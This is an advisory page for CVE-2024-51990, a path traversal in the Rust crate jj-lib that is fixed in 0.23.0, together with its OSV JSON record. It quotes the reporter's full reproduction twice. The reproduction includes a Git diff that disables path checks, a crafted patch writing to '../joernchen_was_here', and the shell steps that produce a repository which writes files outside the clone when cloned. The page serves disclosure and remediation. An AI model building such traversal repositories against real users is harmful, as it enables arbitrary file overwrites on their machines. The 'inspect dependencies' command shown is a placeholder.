CVE-2024-51990: Jj lib Path Traversal Vulnerability

CRITICAL
Advisory Identifier: GHSA-88h5-6w7m-5w56
CVSS 7.5
CWE-22
Published
Advisory Summary

CVE-2024-51990 is a CRITICAL (CVSS 7.5) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Jj lib libraries in the crates.io ecosystem. The issue involves jj vulnerable to path traversal via crafted git repositories. Remediation is available by upgrading affected packages to version 0.23.0.

CVE-2024-51990 at a Glance

CVE Identifier CVE-2024-51990
GHSA Identifier GHSA-88h5-6w7m-5w56
Severity CRITICAL
CVSS v3.1 Base Score 7.5
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Jj lib
Package Ecosystem crates.io
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2024-51990

To remediate this vulnerability, upgrade all affected Jj lib dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

jj-lib fixed: 0.23.0
Upgrade jj-lib to 0.23.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for jj-lib

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-51990, inspect your project dependencies for Jj lib:

inspect dependencies for jj-lib

Analyze the terminal output to locate any version of Jj lib in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.23.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Jj lib, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact Specially crafted Git repositories can cause `jj` to write files outside the clone. ### Patches Fixed in 0.23.0. ### Workarounds Not much other than to not clone repositories from untrusted sources. ### References Here's the original report from @joernchen: > When cloning a crafted Git repository it is possible to let `jj` write > into arbitrary directories. This can be achieved by having file objects > which contain path traversals. > > Reproduction steps: > > Apply the following patch to Git version v.2.47.0: > > ```diff > diff --git a/path.c b/path.c > index 93491bab14..2f47e69fd1 100644 > --- a/path.c > +++ b/path.c > @@ -44,11 +44,11 @@ struct strbuf *get_pathname(void) > > static const char *cleanup_path(const char *path) > { > - /* Clean it up */ > + /* Clean it up > if (skip_prefix(path, "./", &path)) { > while (*path == '/') > path++; > - } > + }*/ > return path; > } > > @@ -1101,7 +1101,9 @@ int normalize_path_copy_len(char *dst, const char *src, int *prefix_len) > > int normalize_path_copy(char *dst, const char *src) > { > - return normalize_path_copy_len(dst, src, NULL); > +// return normalize_path_copy_len(dst, src, NULL); > + memcpy(dst, src, strlen(dst)); > + return 0; > } > > int strbuf_normalize_path(struct strbuf *src) > diff --git a/read-cache.c b/read-cache.c > index 3c078afadb..2eb44cb26f 100644 > --- a/read-cache.c > +++ b/read-cache.c > @@ -977,6 +977,7 @@ static enum verify_path_result verify_path_internal(const char *path, > unsigned mode) > { > char c = 0; > + return PATH_OK; > > if (has_dos_drive_prefix(path)) > return PATH_INVALID; > ``` > > With this patched `git` binary we can now apply a crafted > patch containing a path traversal to a repository. > > The patch would look like: > > ```patch > From ecea96264bd3f9785e5ebec8640be4847ba28e22 Mon Sep 17 00:00:00 2001 > From: joernchen <[joernchen@phenoelit.de](mailto:joernchen@phenoelit.de)> > Date: Sun, 13 Oct 2024 18:09:50 +0200 > Subject: [PATCH] z123 > > --- > z | 0 > 1 file changed, 0 insertions(+), 0 deletions(-) > create mode 100644 z > > diff --git a/../joernchen_was_here b/../joernchen_was_here > new file mode 100644 > index 0000000..e69de29 > -- > 2.46.1 > ``` > > Note the traversal `../joernchen_was_here` in the patch. This now can be committed to a repository > using the modified `git` binary: > > ```bash > mkdir demo > cd demo > git init > ./path/to/modified/git/git --exec-path=./path/to/modified/git am the_traversal.patch > rm ../joernchen_was_here # remove the file the modified git wrote > ``` > > Now, when cloning that repository with `jj git clone` the path traversal will write above the worktree > directory, allowing arbitrary file writes. > > I've attached a tar.gz with the demo repo so you don't have to mess with the patched Git at all. For > reproduction it should be sufficient to do `jj git clone demo.git` after unpacking the tarball. > > The demo repository after being cloned with `jj` will create an empty file `joernchen_was_here` right next > to the `demo` directory to demonstrate the traversal.

CVE-2024-51990 Affected Jj lib Versions

1 component(s)
Fixed Versions:
0.23.0
Product / Package Ecosystem Affected Versions Fixed Version
jj-lib
crates.io
< 0.23.0
0.23.0

References

Frequently Asked Questions

What is CVE-2024-51990?
CVE-2024-51990 is a security vulnerability in Jj lib involving jj vulnerable to path traversal via crafted Git repositories under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Jj lib versions are affected?
Affected versions include releases prior to 0.23.0 across affected packages: jj-lib.
What version fixes CVE-2024-51990?
Upgrading to 0.23.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is jj-lib affected?
Yes, jj-lib is affected in releases prior to 0.23.0. Upgrade your dependency to 0.23.0 or later.
What is the CVSS score of CVE-2024-51990?
CVE-2024-51990 has a CVSS v3.1 base score of 7.5 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2024-51990?
CVE-2024-51990 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check crates.io dependencies for CVE-2024-51990?
Run the dependency tree command: 'inspect dependencies for jj-lib'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-88h5-6w7m-5w56",
  "modified" : "2024-11-07T16:18:44Z",
  "published" : "2024-11-07T16:18:44Z",
  "aliases" : [ "CVE-2024-51990" ],
  "summary" : "jj vulnerable to path traversal via crafted Git repositories",
  "details" : "### Impact\n\nSpecially crafted Git repositories can cause `jj` to write files outside the clone.\n\n### Patches\n\nFixed in 0.23.0.\n\n### Workarounds\n\nNot much other than to not clone repositories from untrusted sources.\n\n### References\n\nHere's the original report from @joernchen:\n\n> When cloning a crafted Git repository it is possible to let `jj` write\n> into arbitrary directories. This can be achieved by having file objects\n> which contain path traversals.\n> \n> Reproduction steps:\n> \n> Apply the following patch to Git version v.2.47.0:\n> \n> ```diff\n> diff --git a/path.c b/path.c\n> index 93491bab14..2f47e69fd1 100644\n> --- a/path.c\n> +++ b/path.c\n> @@ -44,11 +44,11 @@ struct strbuf *get_pathname(void)\n> \n>  static const char *cleanup_path(const char *path)\n>  {\n> -       /* Clean it up */\n> +       /* Clean it up\n>         if (skip_prefix(path, \"./\", &path)) {\n>                 while (*path == '/')\n>                         path++;\n> -       }\n> +       }*/\n>         return path;\n>  }\n> \n> @@ -1101,7 +1101,9 @@ int normalize_path_copy_len(char *dst, const char *src, int *prefix_len)\n> \n>  int normalize_path_copy(char *dst, const char *src)\n>  {\n> -       return normalize_path_copy_len(dst, src, NULL);\n> +//     return normalize_path_copy_len(dst, src, NULL);\n> +       memcpy(dst, src, strlen(dst));\n> +       return 0;\n>  }\n> \n>  int strbuf_normalize_path(struct strbuf *src)\n> diff --git a/read-cache.c b/read-cache.c\n> index 3c078afadb..2eb44cb26f 100644\n> --- a/read-cache.c\n> +++ b/read-cache.c\n> @@ -977,6 +977,7 @@ static enum verify_path_result verify_path_internal(const char *path,\n>                                                     unsigned mode)\n>  {\n>         char c = 0;\n> +       return PATH_OK;\n> \n>         if (has_dos_drive_prefix(path))\n>                 return PATH_INVALID;\n> ```\n> \n> With this patched `git` binary we can now apply a crafted\n> patch containing a path traversal to a repository.\n> \n> The patch would look like:\n> \n> ```patch\n> From ecea96264bd3f9785e5ebec8640be4847ba28e22 Mon Sep 17 00:00:00 2001\n> From: joernchen <[joernchen@phenoelit.de](mailto:joernchen@phenoelit.de)>\n> Date: Sun, 13 Oct 2024 18:09:50 +0200\n> Subject: [PATCH] z123\n> \n> ---\n>  z | 0\n>  1 file changed, 0 insertions(+), 0 deletions(-)\n>  create mode 100644 z\n> \n> diff --git a/../joernchen_was_here b/../joernchen_was_here\n> new file mode 100644\n> index 0000000..e69de29\n> --\n> 2.46.1\n> ```\n> \n> Note the traversal `../joernchen_was_here` in the patch. This now can be committed to a repository\n> using the modified `git` binary:\n> \n> ```bash\n> mkdir demo\n> cd demo\n> git init\n> ./path/to/modified/git/git --exec-path=./path/to/modified/git am the_traversal.patch\n> rm ../joernchen_was_here # remove the file the modified git wrote\n> ```\n> \n> Now, when cloning that repository with `jj git clone` the path traversal will write above the worktree\n> directory, allowing arbitrary file writes.\n> \n> I've attached a tar.gz with the demo repo so you don't have to mess with the patched Git at all. For\n> reproduction it should be sufficient to do `jj git clone demo.git` after unpacking the tarball.\n> \n> The demo repository after being cloned with `jj` will create an empty file `joernchen_was_here` right next\n> to the `demo` directory to demonstrate the traversal.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:H/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "jj-lib"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.23.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/martinvonz/jj/security/advisories/GHSA-88h5-6w7m-5w56"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-51990"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/martinvonz/jj"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-11-07T16:18:44Z",
    "nvd_published_at" : "2024-11-07T01:15:03Z"
  }
}